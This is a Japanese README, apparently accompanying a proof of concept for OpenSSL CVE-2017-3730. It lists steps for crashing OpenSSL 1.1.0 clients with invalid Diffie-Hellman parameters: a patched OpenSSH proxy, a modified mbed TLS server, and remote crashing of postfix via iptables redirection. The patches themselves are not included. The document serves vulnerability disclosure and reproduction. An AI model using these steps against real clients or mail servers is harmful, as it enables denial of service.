CVE-2017-3730

OpenSSL CVE-2017-3730 概念実証

OpenSSH をプロキシとして使用し、DH 値をその場でパッチする

• DHE-PSK-WITH-AES-256-GCM-SHA384 のような暗号スイートを使用して SSL サーバーを作成します。ここでは 10.0.2.2 のポート 8899 で実行するとします。
• openssh-7.4p1 を取得します
• パッチを適用します
• ビルドします
• 次のように実行します:

./ssh -vvv -N -D 1085 -o TCPKeepAlive=yes -o ServerAliveInterval=60 localhost

• 別のターミナルで、次の内容のファイル ~/.tsocks.conf を作成します:

server = 127.0.0.1
server_port = 1085
server_type = 5
local = 127.0.0.0/255.255.255.0

• ```export TSOCKS_CONF_FILE=`realpath ~/.tsocks.conf````
• tsocks
• これにより、すべてのネットワークトラフィックが「悪意のある」プロキシを介して流れるシェルが作成されます。
• openssl s_client -connect 10.0.2.2:8899 -psk AA
• クラッシュ

mbed TLS を変更して無効な DH パラメータを提供する

• https://github.com/ARMmbed/mbedtls/archive/mbedtls-2.4.1.tar.gz を取得します
• mbedtls-2.4.1-patch.txt を適用します
• make -j4 programs
• サーバーを実行します: programs/ssl/ssl_server2 force_ciphersuite=TLS-DHE-RSA-WITH-AES-256-GCM-SHA384
• OpenSSL 1.1.0 クライアントで接続します
• クラッシュ

リモートで postfix をクラッシュさせる

• OpenSSL 1.1.0 を使用して postfix をコンパイルします
• パッチ適用済みの mbed TLS に対して crash-postfix.c をコンパイルします(上記参照)
• 私が行ったのは、VM で postfix を実行し、ホスト上で crash-postfix を実行することでした:
• iptables -t nat -A OUTPUT -p tcp --dport 25 -j DNAT --to-destination 10.0.2.2:8888
• crash-postfix を起動します
• postfix を実行します: posttls-finger 10.0.2.2
• クラッシュ